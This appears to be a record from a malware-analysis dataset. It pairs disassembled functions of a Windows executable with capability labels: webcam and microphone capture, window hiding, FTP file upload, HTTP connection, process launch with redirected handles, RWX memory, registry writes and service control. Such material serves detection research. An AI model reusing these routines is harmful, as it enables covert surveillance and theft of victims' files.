joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47b4c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x88], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x47b58a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x47b598
call sub.user32.dll_FindWindowA
push 5
push eax
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
je 0x47b569
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call sub.user32.dll_GetClassNameA
test eax, eax
jle 0x47b55b
lea edx, [ebp - 4]
lea eax, [ebp - 0x84]
call fcn.0040aa78
lea edx, [ebp - 0x88]
mov eax, dword [ebp - 4]
call fcn.00409740
mov eax, dword [ebp - 0x88]
mov edx, 0x47b5b0
call fcn.00405850
jne 0x47b55b
cmp bl, 1
jne 0x47b553
push 1
push esi
call sub.user32.dll_ShowWindow
jmp 0x47b55b
push 0
push esi
call sub.user32.dll_ShowWindow
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x47b500
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b591
lea eax, [ebp - 0x88]
call fcn.00405428
lea eax, [ebp - 4]
call fcn.00405428
ret

Function at 0x47b778
Capabilities:
Capture webcam image
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x47b840
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp dword [0x4a8784], 0
je 0x47b825
push 0
push 0
push 0x43c
mov eax, dword [0x4a8784]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 4]
call fcn.0047b5c0
lea eax, [ebp - 4]
mov edx, 0x47b858
call fcn.004056f4
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push 0
push 0x419
mov eax, dword [0x4a8784]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 8]
call fcn.0047b5c0
lea eax, [ebp - 8]
mov edx, 0x47b858
call fcn.004056f4
mov eax, dword [ebp - 8]
call fcn.0047b6e0
mov ebx, eax
lea eax, [ebp - 0xc]
call fcn.0047b5c0
lea eax, [ebp - 0xc]
mov edx, 0x47b858
call fcn.004056f4
mov eax, dword [ebp - 0xc]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b847
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040544c
ret

Function at 0x47bc38
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x47bc6e
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00405698
jmp 0x47bc75
mov eax, ebx
call fcn.00405428
add esp, 0x108
pop ebx
ret
Function at 0x47eb30
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
xor eax, eax
push ebp
push 0x47eb75
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47eb7c
lea eax, [ebp - 4]
call fcn.00405428
ret

Function at 0x47eb80
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
xor eax, eax
push ebp
push 0x47ebdc
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040a504
mov eax, dword [ebp - 8]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ebe3
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040544c
ret
Function at 0x47ebe8
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
mov eax, dword [ebp - 8]
call fcn.004058a8
xor eax, eax
push ebp
push 0x47ee2f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x47edf3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.00405428
lea eax, [ebp - 0x1e0]
call fcn.0047d9b4
lea eax, [ebp - 0x1e0]
mov edx, 0x47ee48
call fcn.004056f4
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1dc]
call fcn.00403764
movzx eax, byte [0x47ee5c]
push eax
lea eax, [ebp - 0x1e4]
push eax
mov ecx, 0x47ee68
mov edx, 0x47ee74
mov eax, dword [ebp - 4]
call fcn.0040eea4
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 4]
call fcn.004054c0
movzx eax, byte [0x47ee5c]
push eax
lea eax, [ebp - 0x1e8]
push eax
mov ecx, 0x47ee80
mov edx, 0x47ee8c
mov eax, dword [ebp - 4]
call fcn.0040eea4
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 4]
call fcn.004054c0
xor eax, eax
push ebp
push 0x47ed21
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
lea eax, [ebp - 0x1ec]
call fcn.0047d9b4
lea eax, [ebp - 0x1ec]
mov edx, 0x47ee48
call fcn.004056f4
mov eax, dword [ebp - 0x1ec]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47ed2b
mov eax, dword [ebp - 8]
mov edx, 0x47ee98
call fcn.00405850
je 0x47eda6
lea eax, [ebp - 0x1dc]
call fcn.004034e8
call fcn.0040304c
jmp 0x47ed82
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x1dc]
call fcn.00403c54
lea eax, [ebp - 0x1dc]
call fcn.00403cc0
call fcn.0040304c
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x47ee68
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004057bc
lea eax, [ebp - 0x1dc]
call fcn.00403a4c
call fcn.0040304c
test al, al
je 0x47ed4c
lea eax, [ebp - 0x1dc]
call fcn.004038e4
call fcn.0040304c
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004056f4
lea eax, [ebp - 0x1dc]
call fcn.004034f4
call fcn.0040304c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00405bac
call fcn.00404058
call fcn.0040304c
lea eax, [ebp - 0x1dc]
call fcn.004038e4
call fcn.0040304c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47ee04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ee36
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.0040544c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040544c
ret
Function at 0x47ee9c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x47f049
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x47f00d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00405428
lea eax, [ebp - 0x1dc]
call fcn.0047d9b4
lea eax, [ebp - 0x1dc]
mov edx, 0x47f060
call fcn.004056f4
mov edx, dword [ebp - 0x1dc]
lea eax, [ebp - 0x1d8]
call fcn.00403764
xor eax, eax
push ebp
push 0x47ef5e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
lea eax, [ebp - 0x1e0]
call fcn.0047d9b4
lea eax, [ebp - 0x1e0]
mov edx, 0x47f060
call fcn.004056f4
mov eax, dword [ebp - 0x1e0]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47ef68
lea eax, [ebp - 0x1d8]
call fcn.004034e8
call fcn.0040304c
jmp 0x47efb0
lea edx, [ebp - 8]
lea eax, [ebp - 0x1d8]
call fcn.00403c54
lea eax, [ebp - 0x1d8]
call fcn.00403cc0
call fcn.0040304c
push dword [ebp - 4]
push dword [ebp - 8]
push 0x47f07c
lea eax, [ebp - 4]
mov edx, 3
call fcn.004057bc
lea eax, [ebp - 0x1d8]
call fcn.00403a4c
call fcn.0040304c
test al, al
je 0x47ef7a
lea eax, [ebp - 0x1d8]
call fcn.004038e4
call fcn.0040304c
lea edx, [ebp - 0x1e4]
mov eax, dword [ebp - 4]
call fcn.00409ae0
cmp dword [ebp - 0x1e4], 0
jne 0x47eff8
lea eax, [ebp - 4]
mov edx, 0x47f088
call fcn.004054c0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.0040547c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47f01e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f050
lea eax, [ebp - 0x1e4]
mov edx, 3
call fcn.0040544c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040544c
ret
Function at 0x47f490
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff814
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x7ec], edx
mov esi, eax
xor eax, eax
push ebp
push 0x47f5ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov eax, esi
call fcn.00405428
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x47f5d1
xor edx, edx
push ebp
push 0x47f5b7
push dword fs:[edx]
mov dword fs:[edx], esp
lea ebx, [ebp - 8]
push 0
push 0
push ebx
push 0x400
lea eax, [ebp - 0x7e8]
push eax
push 0
push 0
push 0x4004747f
mov eax, dword [ebp - 4]
push eax
call sub.WS2_32.DLL_WSAIoctl
inc eax
je 0x47f5ad
mov eax, dword [ebp - 8]
mov ecx, 0x4c
cdq
idiv ecx
dec eax
test eax, eax
jl 0x47f5ad
inc eax
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x7e4]
push esi
mov esi, ebx
lea edi, [ebp - 0x1ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x1a8]
call sub.wsock32.dll_inet_ntoa
mov edi, eax
lea eax, [ebp - 0x7ec]
mov edx, edi
call fcn.00405620
mov edx, dword [ebp - 0x7ec]
mov eax, esi
call fcn.004056f4
push esi
lea esi, [ebx + 0x30]
lea edi, [ebp - 0x1ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push esi
lea esi, [ebx + 0x18]
lea edi, [ebp - 0x1ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x1a8]
call sub.wsock32.dll_inet_ntoa
mov eax, esi
mov edx, 0x47f604
call fcn.004056f4
add ebx, 0x4c
dec dword [ebp - 0xc]
jne 0x47f53b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47f5c1
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f5f1
lea eax, [ebp - 0x7ec]
call fcn.00405428
ret
Function at 0x47f678
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a1d0
test al, al
jne 0x47f69e
mov byte [ebp - 1], 0
jmp 0x47f86e
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a8f8
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a8f8
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a8f8
xor eax, eax
push ebp
push 0x47f867
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403a84
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x47f73b
mov byte [ebp - 1], 0
call fcn.00404f1c
jmp 0x47f86e
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x47f775
mov byte [ebp - 1], 0
call fcn.00404f1c
jmp 0x47f86e
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403a84
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x47f812
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x47f81d
mov byte [ebp - 1], 0
call fcn.00404f1c
jmp 0x47f86e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f86e
cmp dword [ebp - 0x14], 0
je 0x47f839
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x10], 0
je 0x47f848
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0xc], 0
je 0x47f857
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 8], 0
je 0x47f866
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4805f8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4a87d0
cmp dword [edi], 0
jne 0x480674
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4a87cc]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4a22dc
mov ecx, 2
call fcn.004030ec
mov edx, 0x4805d0
lea eax, [esi + 5]
call fcn.004805f0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004805f0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x480649
mov dword [0x4a87cc], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4807f0
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x480906
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x480911
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x480894
mov eax, ebx
call fcn.00402ef0
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x48088d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004030ec
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480894
mov eax, dword [ebp - 0xc]
call fcn.00402f0c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408580
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x480911
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x480911
jmp 0x480911
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00480ac4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x480894
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x480906
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x480911
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x480894
mov eax, ebx
call fcn.00402ef0
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x48088d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004030ec
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480894
mov eax, dword [ebp - 0xc]
call fcn.00402f0c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408580
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x480911
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x480911
jmp 0x480911
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00480ac4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x480918
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x480991
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x480991
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x480970
mov eax, ebx
call fcn.00480a5c
dec esi
jne 0x480966
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x480991
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret
Function at 0x480a5c
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.00402ef0
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.00480394
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.00402ef0
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x480abc
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x480af8
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
mov eax, dword [ebp - 8]
call fcn.004058a8
mov eax, dword [ebp - 0xc]
call fcn.004058a8
mov eax, dword [ebp + 8]
call fcn.004058a8
xor eax, eax
push ebp
push 0x480bd2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x480be4
call sub.wininet.dll_InternetOpenA
mov dword [0x4a87d8], eax
cmp dword [0x4a87d8], 0
je 0x480b9b
push 0
push 0
push 1
mov eax, dword [ebp - 0xc]
call fcn.004058b8
push eax
mov eax, dword [ebp - 8]
call fcn.004058b8
push eax
mov eax, dword [ebp + 8]
call fcn.00409e40
push eax
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
mov eax, dword [0x4a87d8]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [0x4a87d4], eax
cmp dword [0x4a87d4], 0
je 0x480b9b
jmp 0x480ba6
xor ebx, ebx
mov byte [0x4a22e0], 0
jmp 0x480baf
mov bl, 1
mov byte [0x4a22e0], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480bd9
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040544c
lea eax, [ebp + 8]
call fcn.00405428
ret

Function at 0x480c0c
Capabilities:
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
mov eax, dword [ebp - 8]
call fcn.004058a8
xor eax, eax
push ebp
push 0x480c84
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a22e0], 0
je 0x480c69
xor ebx, ebx
push 0
push 2
mov eax, dword [ebp - 8]
call fcn.004058b8
push eax
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
mov eax, dword [0x4a87d4]
push eax
call sub.wininet.dll_FtpPutFileA
test eax, eax
je 0x480c69
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480c8b
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040544c
ret
Function at 0x4815b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004058a8
mov eax, dword [ebp - 8]
call fcn.004058a8
mov eax, dword [ebp + 8]
call fcn.004058a8
xor eax, eax
push ebp
push 0x481659
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov esi, dword [ebp + 8]
test esi, esi
je 0x481607
sub esi, 4
mov esi, dword [esi]
push esi
mov eax, dword [ebp + 8]
call fcn.004058b8
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x48162d
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x481660
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040544c
lea eax, [ebp + 8]
call fcn.00405428
ret

Function at 0x481880
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004058a8
xor eax, eax
push ebp
push 0x481966
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00405428
xor eax, eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x10], eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x481946
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x4818e2
mov edi, 0x10
jmp 0x4818e7
mov edi, 0x20
or edi, 4
push edi
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov edi, eax
test edi, edi
jbe 0x481940
cmp dword [ebp - 8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x481930
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x481924
lea eax, [ebp - 0x10]
push eax
push 0
push edi
call sub.advapi32.dll_StartServiceA
jmp 0x481930
lea eax, [ebp - 0x2c]
push eax
push 1
push edi
call sub.advapi32.dll_ControlService
lea eax, [ebp - 0x2c]
push eax
push edi
call sub.advapi32.dll_QueryServiceStatus
push edi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
mov edx, esi
mov eax, dword [ebp - 0x28]
call fcn.00481748
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48196d
lea eax, [ebp - 4]
call fcn.00405428
ret